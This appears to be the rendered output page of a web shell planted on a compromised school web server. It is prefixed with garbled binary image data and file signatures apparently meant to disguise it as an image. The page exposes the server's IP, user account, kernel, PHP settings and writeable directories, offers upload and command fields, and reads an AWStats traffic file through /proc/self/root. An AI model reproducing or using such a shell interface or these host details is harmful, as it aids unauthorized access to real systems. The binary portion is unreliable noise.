JFIF     "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777"H !1AQ"2aqB#R3b$Cr4Ss%Tt&c$!1AQ"a#2B ? }XuAo)8^ IƟ`vUp9jY0Ǧ w)E허2jU`SEKw5]kSno!]:?jc\غV7/9N+{t#8zd/޲3F/=ź3GNquV"/4:{z%ۣI'D@ %88^f}VV)S_2ed^Mx"͟?UC62Q%чmO͓ cq0rŖJ\Õ_Sݶ'|G.q޾D U]nP%EF>˲E"d&'f2s6H]4w IS˶4VbaQ+9]XtNx:M0JNxϙ⟟"{nr;|{%vo\z-wc,*|k}-m55o4W9ؓw߱Yzk .=/oϡȴ^9ҧʹamtQԬZ]4?egjrQ}+)MleE]MPEn!`IK2RUEwVIoͷcp;lśe7΄uN ;rПV8|e\׹9Y-V_G.)XԢOv<;_"ڜ]ߙEr݊'K{KuBJ}KI}24|"v)/ʻo5)6-Tjd7.C]Q&lU,Yk1P4~UKZs|$kX6+屷CUq+N(jlGrpG&UB3#k3\9qfg7O8Kim(AJOO~C#e`i0wĦij$cWh<dtQߺ"NOtG+ZǪ]b5%]v5$)u|qZ柡s-rۖu$MKڎCmN_V'/1u,21pvlc>қeNnֺ|bkl=lǷNOʣlz*]»vȎ[)j[fs[]:s#m6Qt6*Q+`};ßj[F_jcv`r#w}|k<ڞ/r53N8>Kh q_-_??@enſEܥ\D\YAEo+ ޟd}IcY7+t{=ɩ>}i\\JfxzVdSzᔢ]Q^CJի\iceitMM5hڦg')^ et#ۯ"ÿfF->4iؤ2ݷ6#p6^-R̫gETj^I.kӽUp~D9[:/>h> \gJ|ۿؘ>ml9jMK =+*2i=0RiͶۗV{"u]IH`9J_˹KƼK$X-|=ve/ bjxw.9i%NqVJcFYKcTtO,F;%67vYb8֝qq0tUt=DvawsS~~Edzr^F-v{c++ݔ\|9Iy #nOavOY=3690Tcrilwa\˓m$?箵S6U c(.~R7suMhqcMOnKoc*ȣȩEd'J ܜk*_q}%M/7c.|;trddbsdcJev85̤iW Ę 8C# .딖e$sk80^\J众2)Nm~|Idj_ O+6ǻ#(MIz4Qo:օY,:q]̌"lK}{F]ζ)h>ʶ ^ue78_G#rqv$wkk[Q c+վ+ĸZΝFB]VzoiJRke&Kgom_7Wef_7,osJɽE%lzBt>mRs)v8'P0ֲtrOg4p_2`GlhYڦDF/ӚKmtm'P2kqU765fJY:y؊.ox%8V_ִ̌ܞjpqwЮQ;iUcNoOoٸcY w*4soӵkqf$?-jy~0{>?DaL8XL/ɞo+'8 {ʸxգj#Dy)wk̘e۩+%}~;ڼ5xek|y-%ڱ-ʜe:EEScÚ5z|r'&I&яF*F7|[nRF =(4ۖ@. n7@xx:N^8Bg%u/ny6&dR{?8U_Q6Z߯-oh.NR]} qi6~H(j7*uF&l&o8ts]/P89:jW*$w׹Ӌ FxpsCJi.7N q4WU_}7*M#qWiصnk'4ݍl*t^ c<'d:~͗enFQRz9v~ddoTZ̚k7X(wUswO̙fոҁՕ[$IAI>WW~ĪEѢNoeutYߑ-Eixιpxq{FnyfRrjqU᫤]>wPU8)Y-7Wbq㛋w:7ܣ].j%K:y4] %9$I%pT(󨪙VqiYٓ4y~5S/XTDZM2lȪ; S~Kx:(Mn0';-{*qV&|W3S+\֔a{R{s=lYmN9Fn&o'}Vi( ?*qV5ѼCNsM饏zߴ$^O69@ ,$y|jE;gW/u|M?3+ZՕN86յw%|QO㏏S\E#ddsgl+Scl3~~CԕQľ?5_ z߿t11OĶ0>oB9E/SOSk+b&Yn>$툧eg) "!܉(1 uBoJ)/t/,:=7M+1ܺ#CmS^Nz 6[u&]+|Dfj:uZ5-Z^TjMtm>cȳ NdT_,M#Ex;pt۴ͮ#!N iKl!zPծ~$1SiO} HI&g Bf)b%Ko̧kumEnص;V?j>nltOMVۆl>.WueYaw2+qK,?uHiqqSM}~gu3xbcWSy/Xc{%sZ]uaUM;7:cb5G97'7þյW,;$ܛyVjl޻y7S;o6gf.Tг[7/i1Z^rE cUF'P1-?%u&q{fw~27ޡ ^w$?SwP[=R3Y73 4x(Kk&rLȫMKn:RjcI?3Al`vض[POĖSYujj6v+-[xҵ=~zNN>\ɲQ/uufo*e6l;31붏.>w6=7#7dFDc%ƶTbd;2/=?Asr! ~ZSS~I"9y]Hn,ĊJ7S}cK"amCg3yP=RQɤW}t;-{F+v+RɔڎB?º{SV묖kۏmK~%.Q;OfEf_Y/F-V-MdD)m.ZՍ8Y*h[g/6ydmCc[rdfʾ䖗gd$^֍^ʅѻL|<[݉\߯RiJUo';œN?B smS ܹkس,mRE^ѣlJ&.ċ԰YO:޼f\Z'HCѯU[ʩ1ff4S-٥YxTIGLiыr }L)edׂ*l|ٚuoxӿnWkTbbVm zT_'"x5Vިxo1ج^Fq6Sd3ws'/ڞ6m?}1OsRGݝ+,~ڬ%^p1ef5c25vq~﹉ă[r-eq] 8+/ESj}?mUE.xYK3"oƔ^Y9I]I ޑ" &*4.Jâ}ټQbXKJ񽼀ncg`+riܭ_'Bֽp%bX'7cB}WPm|zHָLJhj~E>i~Z$297|_hyΕ&s}ZϷ *j]:v.HK<SP8`Pƣ)r ,}8Wk[ArHgn=о7:J]TTP>OOj J_KyB\Ԥrm嬷ȫr{ݙ5R(FRЪ6q}KLmR'eޖz6[YތesYYL5Tr7s\^rؙV͸컬j5d?yk'b S }kra^ߚRH)[sg.fLM\u= vJQ]rVkZuoN}#G?yjO%|i2fKoӰღC P_Ϳ6Zr{e/m$i}9 G2')YG9KY>|1ӫ +v+i;h\Q@˿Lӭn˖ 7ck>Vr.D0)hC<˄4"0[eԬݭe+l2s3ss oX]1r]+VK vI;mZ')R6e5=/i@]H^Z۬՝EW.jƆf{8mXMV~_̝z^VR}T63}}k3+k3:j1Phlpi{欍BȽ}6w73GtUZv>4eUj$ xz$$D/߇ߟI"uk̜aƪ*ke/F:dһ_PE1ݡkp(5ʏ-ɮ{Yllԧg!ܝ g]i-umεŸxOê^=PR ##XeMy%2L~󜺶Hm ݙ2t_ƶz7'\Z4T<"AM-&xaC]a5.huQ۫$cMμ|h;.J.o߸sE-zU{d];|YLSMvSEneNKr1B[]NeonNߪ$4̘FPrkxޱ=0lr7Q%=$KQ;0r*XKdGۃ*]w-npᬶ\tt4>Dc[Ouo3/)-WҴ xs71eԤm*ٖ웗H''.Cnmy]݊Kra[9)Y#2U6d7tf.[R.GdE>#O_.+-K`{KonR_ÕM/)?:F,Xo1ƽRmz8C]lD %(x+d2Ah+\CCLJ!D65x\ȼv)\Nrp*[YُfL*PyVΚuWA K4hyYdwihNIy#ub?4NDϐ'4 :nFe(o%ve@@xl-k%QƭRP&kεMŪ-Ys2u ]T!}8*TQnZ}v =~mԧyDM&8K>2|Bnugܷ.wvCs̼5F^ubES7ݢM&4Ź-~mKx1((sr!M5uy\q)oy|a)ˣ,A?w"T휳2\F}PR-<2%`~4Z5\W"(USkGpT(~Qj>ɰ쏳ǓSKKx's]nEf'.iݙL>Moƹk7ݭ[.г6lk<;?)#E]xFU7'>vF%R;t:Җs}NSBWX=Y8ث}~G)S^^ƽwR[)/Fm-ڞTK~˓Z]U;RQ=M/"NԝP[-Y9t_8V+}P?Ue{M/O&WWKvc#r'KM'p[±vtpRC/W|7K2Rfm;ljm%Z]^T[6}6iTC }L[uxg7(Z}. SRI)jҞzȶ쳢oYRw$ŷ"J\ǭw{u'R taF{;3hHB\RP(*ZQ]y;;k٥nWbGKv-V?NDҞkd9@z LJ}Kc9C*?V-*[*۸-0.|󲝳ߗZK#%_OFGF$kC$[NNJ7Yn[k~Xzc+Sʲuhsw^^4+nElbƮKD,}YLV=i=|p|_=b5mȵ(~,em#Xƥ.sVoEaWXc.lY uG\m';'*\ӆ}|˯UfQBvo}/"zw + qvMrQ[[AdU2ٽCGgjؖS~Ev%9">$_2Sߚ%ѽ7jX(t#21r{̬F]b()?r[Rı)W[O/6]XL9 vuLh-Ȃ9"'7f!Փ䮿Bf}[lag֧]?Pc#D9EmfK7o*})+n!]qIo^FrNVNo!Eƃd#OP?%ۋ(mPu93ۣ{}2&$%cZ߯LҚY);U afԶd,*'6_?B:R~}^̬~mJ+vC}Ѩe"MY+mi :s쥸;iJeYvBddeK|#5/mzR]F2 JHUU )/S{Ic$=: W)>} @0#URsR=w"L{+ɞ)d|*qq2>[nƨDۋ-G[6½J|{Ѿ4MwyG-Σ Ze{ug>2|'zΤ2%xՑ*<Q̥T')uLkjn(zF-JOR}wn~FV5zq2m'^VS=7Y^RdfeO)>EpX붚w*r*w˿^kڴ{J;K۔sRŶU]p\zn@dx6[+yeH[_m_/I&mv|M5&&-G"v۴^{vg8Y(K_~h0e AxfrzڬkhS/Vy1ϯdW3'͹}{'V-:MW(V/ͷ*E7s\EmEW}bUr'k,P{9?B֫ #[uNrB,wo^{fdF(5tRf.2J-/:~ t0M"d_/c^32*q]yLl^2[ݥZc*vtm213r'tSuM-Խ#o/HF+2VEpmǦޟS?Rs+t:u G8n,Ԛf,hY8SX*rKf>+cpruɬ=DMrXgϸ:~ɲ ~]'5'kElw\=ڞAG&')G9R\_̝1K;nPg&T(ի[^Jҟ"qoӸ.W}3mF>'$<\U6-~?x?B~{^xkpv-vlߣe빹j\(ښsuu6lH(qoaYt?x8}Ie '@b%TݲygV.+O9/W4MsCMuFjYzG.{ds.k(>G~K?ni-=R r}r ?s̥%l5Ϛ9IN6~۩RĢWNʾE[|nb.HY—קWkr1ҺշMNDp)^¸R:w;u1 12]T/Uiʹd%2OC2K*r5S]g凫5 UQ.ȫ– /i91njFkQxuJ1rn%XDžy?s˗վuMGƋ/m^J*RsF))uF,'l{=|nFm9:N\%u#tnXE->e2Y0PũjUȨEŭ|'eʹ[o{Ցms%CGg/}t|snzrvm\g}cÊ94Pvg'L}ّg궮ԱߢO^f.W-sT]M˔ېе<^Н'KuNn_Vl8*Kж^ xsuW51-ᅱFzƉT-kY/9wzDޯ/XlW)gypǚjDɨ~{ݤHCim.[>rqE_Uرx/>|L64%aj;fxӱF(K֓J9՞ -K> I_5Enn´&=Oc%o̟IJZF$۲5I9Wݚ n.WTuѲӏ[4U/9.2zX5\j3ĎEsMq4%9.d[7јc9eNa+sjE';%s#ɤ`ףS=WI쫢.Mv:j/[3:rTF_zt:.z%udW%]xܮVz$Vŗ49[^y.խN~M&mx+wGR~_4KC[ʻ:v>03߶v9x-Mȧ$c:lrCWjeg%ֹ_Nh՝Qɏj^ϛr^.>WhlE5yֵ6\W^确]*гc&^NI[oCDn.ߑ!,m&M_/'Mn$s\r^8|uSZZ1|LV<(zq׮xmٚZƏ%.Ԁs^2𱸒O#&,s[mײ9kޖCoSq&俙qxP.N] 2UǎsM2iN.f r[mcQZmFُE{#[TbҔ*sfaSrn^8N<\_'MarJ6 EQғ|F[S'[~q~kmn[_x?B f5Q١X=g(~[Cx}GO ĺo'e)~dq(Ot`sN=~heu ::m'Cjj>~5V柙cyQD%uqEc{[l^U O]b~eŦۑ'W3&' 2V.^D%G S6\wYNO$. O+^ŵG~haEs^=1*bICzFF4O#,Wu3허ekB\I'tWMߩOG3iFz{rgeM9g r] i3gk&u1r/1kVgR-ɿuF .^;3;?3큦bN̂r4ovMkڞ}[:,IVG<};*-2",>K%bK2Ƨ[w!)ˤ;d?4%Ul2ږec4#ōIw^R_/TFX+*FM[F|a'ߚ2SIMeVGn ~&Y Ym(?ԛ],=|сG4yjk"Q^~ԗ^c,qqrg^-:Uc[E8>>k|nS..LBIc>3i|ZEZXAqm nuOm<; X~mrK=~ ƱrSN<U!F΋WS/|t?K)zd} ,C"ovx?bբs3mX3桭X֖˦kFddhg}$ggSo5jL*NdJis$ EQ\v=0HxzyW~FT_Ƶccg,&=_V(%kq+_÷O'[_[Uڽv F $Ξ9n5EN/4Yy/%*} .jΔ`V_6\VͲohzfOgޯzpj}y}v:34WH;+x7ӻu<ݦ"mJ/=>eoD֣c4kXW-[}٬6;t[Na_• _5i5˗sٴ]+e;Joj㼶ۙyLumo5&F)F\ {(sm_M>gzcr)KU̠Ħ=VDd'h;-aŤ9KٰqQܫަazMp4bk9 UX.ͮ]KeS5Uq[¹X0ɦ6]roFjʧ2׏6/C6eQE5KӰmsFnIz&`z팡-ٯ.ixyك?c2//z6M4W[]_"?Õ[? Vfvӳq]I5(d|MʝzcC*mN>B2gD+><e:Gh %UkW%zJ8k_ˠ=KFRfw{sŖ^q\/{v[Ω}gLjT[t_ޕg6G~rkkMcSRKբ54?SAûO1o%[>5/R~CioNdNʛćh>f6H8c/<1xd[ŦCEk.9"ej?w&O6^ژR[vrQ.z㎩f6:V8}hi2z~ s-w]+|I9s_C~>-S&9ZFVLf7-d'pՠplJ#mm؎s(?Ʋ?/A%_sXuGNnR}_dq>1ʍ|У3]NXYZʷ/&ܛ彖LS? 6]"_t5qP5Kq]^m91jW暹U6-5WU澦M0˵f2ӪǮ.P~? _nEJTcTei)ٳrۣ%x %gs}7l9'tb~dXst# r?}Weaq>=+to)7،E*vn\e_,\NFxcivz]tM˼?Oԝ2Zrλs-ĺEtonIIfm/9^[^EBUjOnr6vI& l]%0")2䒶-+R*zyX<> -X9GUo^xYQ8ιvixٔa\t)hv}ьոVU~tK,=_wLLa?TYIo]$`N6cbi?#7;MRt<.~Q-mob\\g5췍 ڌ_?8nfJN/Y͢n3?_sϩ{HiְPo'yS??_jߡWi5q? MWȲ)8a]lLˏ--b[TXlΫRy;o5뜾$HW.mm?շG[Ƀ seo5Q}Le%*،«~uU{R$t\^%!weX:G('6WupTS&~8=jo?2_PϖE[nf6Tٯ;GLW)NM[o*\j%.gb|䭹noOX:1R)UTj74˓]D_bʝkzNI.9|^G`KeQ{mOjX/sR7evdgi7qm}ތW&4=~|YY)?7Oj}xXkF×4c.l?i|b[5Ή5j-[Y\z<茲Z$Ff&o;gErǩݦ̪/q[&[/9uuzi;PS^_/?]=ΕqK~ӛ5'NM[m_Ϲc'[oӯE#g߂vvGNRo϶o5Ǩ[ɉtov2~i<7iSȜN(G5+/ٛMTܣukj鷣/$1˒!Mxr\ߤs1ZuMQȌ^]c$CXrj#N/˦Ķ9]Nzê5zi;W,v!ŧD6zğ7uR5^MW}>igl2U2nXo{}_w]&vte\Z3 MEEe/ 2s㗼S_bIղTI}|[Ye/c]*̪9u/DmyNxSDgi `Z?.RFj۪'~.[KVb޺o濡to?E#[.^y=q4F8ڎ/GX\.YW!Z.ѕtt:?gYYyU%Uw~ri>ȦKhg,5/=>V?TrN4aWO,oӕ7-SRi*"dܽpuaVQÞd-#J2Nr:#``ѧWR-F?I-T -cOT2pr?þזgE\Ij~L9%EMoџUؙt8_eYΧWjU}e9y9z/#TT-2dLt3H=ڼcKb'"uIٓ'[[߱F~\2]r%C]^VCLjm[cJNryf}ջ.[DEoRՒb'>fVy_c6[K4Na5>{ɳaw/Uj.Զ_K~?IeJ7OQx3IgFc*جɊǽ-o3Ӭp / ]7V*ENܜ[r/tOJΉw*ʨ*JFN^.WZeLgUwKi/M9y8dkOᛊHxGĶM*&#h/U|6D(uFyE5hYxiSEVm^D|,ۿCj;<*ouOkYpΔ2{x-L] !k2ا#IM'a7:M}M1Y儭Mnk[/;4Uwkkɫ%aɔoXVV$m;2Z4i9:>\Yů= ?[{t6,~!c`Un+dW.gKyIB]l+3kض(\MZ\}>k\C~閹l[ů]VNtƸr몮X+U>v'nv{y7s[г̭9Ctvt% GqT8=wa(6\Rd柮YWv^Fd^\+緉,+=-^S"k:NVu o[_TIѝ椯bF/G㿏dΙ?T}K-T)W>s?3M)V*,;P\,}B u{rDexڥVFfw}47׋w}]Դ 1dmk1V%/'T:Fǒ_TEe[l/l/ٯc{Ƀ[~`zj⾥r}Vܪ{M8Qv]$mU]8J2MngcxY?鑞.9HjxSy.fS(|]MgcK2$(jRQ3XO|<f:Jq4& fw|$N )A8ת99 mFNM*Dϒ NoIa9i9y?:D⻧߇\7ɧ]mu"-˥5/w̨_ 7DK['[2"(%xzT\*GT"+<,yX.lEJrfo?.4N;l>jmZߣ5FdB3\r,t,./S]Q{tm5lӕT~A [fv7Iہc: ΪN7I]2(|o$NLW"#~Dͭ=v-Mv{-lqn{I3xn'6.=DƟܖަ~deQV;k2Ei\[bӴ1_]OhZl朠&t3xkei+c\'ZԪ'hK梿X@cTԫ#emIz6e^i?8 NBc̆f+MׇdC]YSd%lώ8-c7eι/}_con/no\핍~[WNReXMo+اn ?#Ͷ-AUFN1V4!y,{1a$S﹑;Ǚr"__[o) xk}7EI/riwؙ7mR}`|yrEVdo/B# uٳiNQKQkᑑ^d@/=ˑɒ768fsuor9=7ףܹճpMr-$1uySOZN?đrqզ9F q=.!T?ػ bf{¯q=$^:!ES߿ Fu\OS,8e^UוS^hF4BQƺȪw-kF39@X06 Fv=Q^|ƞ5}2tnmG_|Λ(|%](-5>KȁN$=6lq).12 V6m$ׇlOcҫܸ K{;ľ>+Q?Rx-Keu uMy$i B}G*h$Q -W[-&a"[i\}~Ek$<~c{MffS eS.#\^lMiytު]9S{u4 {DFޅSź}R ]R$y;r/P̙3niXMt;&!rxw\ZFmQ"w\L{^۔K&/gr:m=2%5bwE"^e[\$ɟPi!U_rdS2d?=[!(I.rC QZEim%}|YmzZ_ά<ۡLQM|` ybPȏ}?]Eu[`kҫgFb~F}Q8NP>5lӳ^-K%Q}$sx7SvnfTƸ|Kzd'_ⰽח$4L Y?qy32t j2e ȜrJ{mبhۍUU'p#8y'ѝ=i+Tĩo7WYyČkL5؝M=%"Nt}eXW)N.~sv5pɮ sSQ[+-/}kVk'FEɩ9SE&T=&\緵 --tf.9Ѳ4_##_ɱTFV؞~YTddS&s=䟚Fb1._5}~gM'p#,U hs--XG wtԹTi7M:GYK5'^W?C>_Gq/S&d| k_gO ӊiJeHU G_ Êg#),}-:5>V1emq}t}q?meKU:BqJeiPɗ#\$sI} Z生ƫoo=V=pVcUg"%wEm叡vIdhrȔ~F]p58_.,O|'Ɇ^L!c6OWӷ{x9?Fp?ceOuT+Uɵݹ&gx9i퓃sxGIm}_3Īr#:ԣ?4בc[jö#B7KʌWNo)=+c }YvP{lv^r+5Vxx_:~=̌Q}CTy+Wh鸚f$101뢊F[#--Y\i@l)W8/E>8nlj/ktOľ,q*[sE[]:?ZeQvŔɺ|j(Wx,LW=:S?κq%81c)jJvODLiW,{96vr-2}-EH,}%3k#l5gl~x__W Sڎ 8YJQvA=QIWju6-X9$kWЩCI4UWd'&O/Cf=Pi/#+>n$KYst܅y4ʷD^~%~myj,s_4Q}΍Cή;SW:h=Ff{.B/inȇo=-T͸OY2}hlK}.m7-z?,f-/^b\QWs/_͔/3In[6M;l ygؼ!WUË_)D9YL4_>f}ϵ3hV5Oѣ(l8?L4蹥[-Э=7V{&ʢPʼ*3cMz>u4@[oM gKS[jy"Lھzɵfx)GE`ֿ.=kJ>/iˢ[j-qץQC B@o V(ʯG?Bܻ\I>=K-].(vOE.5׮=/Pf^&$caY9{3މ%YOxZ~6Z;;ԗ.NJzş/YϖĜ%ѿO^tY$ν4|e}2ɶU9A؜h˺LrIm%J.|I]kG|DzU k4'(T\9߱^!z -:mW^ <= <^2*;Seq(6ªsHf5ʸO{Ilr~G uJY^k5X_y;5'59O@ƣ̶>pnCOvNwX4oUUf]Џe%MV9Xm9]x'Q=82z)c/~1\~LSow>ﺍƻUql~Sqo羘sk}VjG71kYؽ]b4qnMӡ; w@̇IL㿗[43)]=v*)EH'a񖳋ҎTkxuXGK& ZIR(M8?:ixJp-dmckpu*%N^-7E3='ceE&';_J'Mw𶥏Y9+d9+>!e_Sn|VX -TZu]Ģ/6\ckr /ޗ/z[y.N:*k$ }Yǭ}GUm^-%dm;K_#ctBsg2:8rz-VE|T w.}w9NEPGnoCe8/&3qT}MJ̙Mۗ~哳,-WI_Bsh+~͛vN{ZdYKݲkr%+lo*re-ه?:vYqFfCsqMXRķ{yqgrx.oǓ\xdڗ_ZC9WomX|KmV_%UJܷr$drȳL~MoKyYLic Jq<1$UuٯTד374s<ĕ96춉r9 pGc9=p^:)ZJb&VӝXٽ 0/X& ۳*_ԙƏ.5J 6<$$6B0d_d?hqd>XCe- wO@pg:.>$.Ϣ~L޲|,{-ɪ2.u/Ds-[ُiVIWK5M#Fܭ3?x.)ۣ,wJ)Ȳڣ-#fbdq&Tͧ8Q,YqQ)/R­?\k˔[p_+ogzP[6r^o}_kT}JiJ;<ivEH8wI@MOPʊ\#+$%PDF-1.7 GIF89;
ANDA PELER
Server IP : 182.253.108.180  /  Your IP : 18.119.157.241
Web Server : Apache
System : Linux sma1wiradesa.sch.id 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : wijaya ( 1017)
PHP Version : 7.3.33-10+ubuntu18.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/wijaya/awstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/home/wijaya/awstats/awstats012025.www.wijayanet.net.txt
AWSTATS DATA FILE 7.6 (build 20161204)
# If you remove this file, all statistics for date 202501 will be lost/reset.
# Last config file used to build this data file was /etc/awstats/awstats.wijayanet.net.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 30
POS_GENERAL 2066                
POS_TIME 2763                
POS_VISITOR 11736               
POS_DAY 23175               
POS_DOMAIN 3756                
POS_LOGIN 4230                
POS_ROBOT 4385                
POS_WORMS 5269                
POS_EMAILSENDER 5400                
POS_EMAILRECEIVER 5543                
POS_SESSION 23455               
POS_SIDER 23664               
POS_FILETYPES 5678                
POS_DOWNLOADS 5983                
POS_OS 6031                
POS_BROWSER 6270                
POS_SCREENSIZE 7797                
POS_UNKNOWNREFERER 7871                
POS_UNKNOWNREFERERBROWSER 8419                
POS_ORIGIN 8733                
POS_SEREFERRALS 8877                
POS_PAGEREFS 9069                
POS_SEARCHWORDS 9217                
POS_KEYWORDS 9369                
POS_MISC 2427                
POS_ERRORS 9428                
POS_CLUSTER 4086                
POS_SIDER_400 9588                
POS_SIDER_404 9771                
POS_SIDER_403 9670                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20250124074028 130386 39726574 30812005276277
FirstTime 20250117204526
LastTime 20250124073953
LastUpdate 20250124074002 130386 8971 121415 0 0
TotalVisits 358                 
TotalUnique 232                 
MonthHostsKnown 75                  
MonthHostsUnknown 169                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
AddToFavourites 0 2 0
JavascriptDisabled 0 0 0
FlashSupport 0 0 0
RealPlayerSupport 0 0 0
PDFSupport 0 0 0
QuickTimeSupport 0 0 0
DirectorSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
TotalMisc 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 36 111 2553940 1505 1587 54006707
1 22 137 4077880 15544 15629 543568987
2 27 27 214186 5091 5174 167808597
3 58 134 4095584 10215 10297 359845039
4 61 168 4503853 22387 22524 788458262
5 201 241 1891503 7694 8039 275210879
6 117 240 4834758 7931 8112 284423663
7 171 367 5862613 11627 11885 395572827
8 24 121 3453105 56 168 511583
9 73 130 3507080 197 343 7951583
10 138 292 5491417 39 308 2147989
11 243 424 6006620 269 811 9378642
12 79 138 2026016 1648 1836 60980799
13 38 130 5495937 193 297 2456442
14 22 144 4240795 42 104 1611443
15 83 197 4960682 65 193 2770434
16 117 157 1920826 17419 17693 593046186
17 58 79 633195 53 208 714098
18 79 172 3627124 74 246 3995181
19 203 328 9914949 9797 10248 338545295
20 202 296 4894810 28 361 296973
21 112 174 2801761 5104 5300 182796866
22 220 259 2622489 471 1077 18144481
23 132 255 7399243 4567 4840 143328784
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 10 first Pages must be first (order not required for others)
BEGIN_DOMAIN 17
ip 2182 4149 84246696
id 109 256 6039082
com 108 138 4073670
net 87 130 2099133
eu 4 4 38944
ru 4 4 28890
org 4 4 40419
shop 3 3 45910
adsl 3 21 304358
cn 3 3 28937
ua 1 1 19358
de 1 1 9652
np 2 2 11836
localhost 1 1 9633
plus 2 2 14962
us 1 1 9782
cnc 1 1 9104
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 10 first Hits must be first (order not required for others)
BEGIN_ROBOT 20
bot[\s_+:,\.\;\/\\-] 119265 4207186114 20250124074028 0
360Spider 133 2983502 20250123222730 0
Googlebot/ 131 5226682 20250123143527 0
python 51 674755 20250124050245 0
oBot/ 32 3684359 20250118180201 0
Applebot/ 26 712599 20250120094137 0
core 22 447607 20250122040649 0
Googlebot\-Image/ 19 7873296 20250120154338 0
^mozilla\/5\.0$ 13 168037 20250122145711 0
AhrefsBot/ 10 82552 20250122041513 0
SemrushBot/ 1 9699 20250121010932 0
Dalvik/ 2 14736 20250119125124 0
^mozilla\/4\.0$ 1 28704 20250121155830 0
facebookexternalhit/ 2 43200 20250123113751 0
bingbot/ 2 16147 20250123090538 0
no_user_agent 8 182609 20250121163237 0
curl 1 28656 20250120014031 0
crawl 1 9100 20250121032446 0
MJ12bot/ 4 24044 20250121130650 0
link 1 9652 20250122075959 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 12
Unknown 147 2999712 0 0
php 2344 12479180 0 0
js 802 11897003 0 0
php7 4 70704 0 0
html 12 76521 0 0
env 9 65644 0 0
jpeg 57 3033223 0 0
css 668 6297596 0 0
jpg 304 29502965 0 0
woff2 175 12999561 0 0
gif 15 131850 0 0
png 184 17476407 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
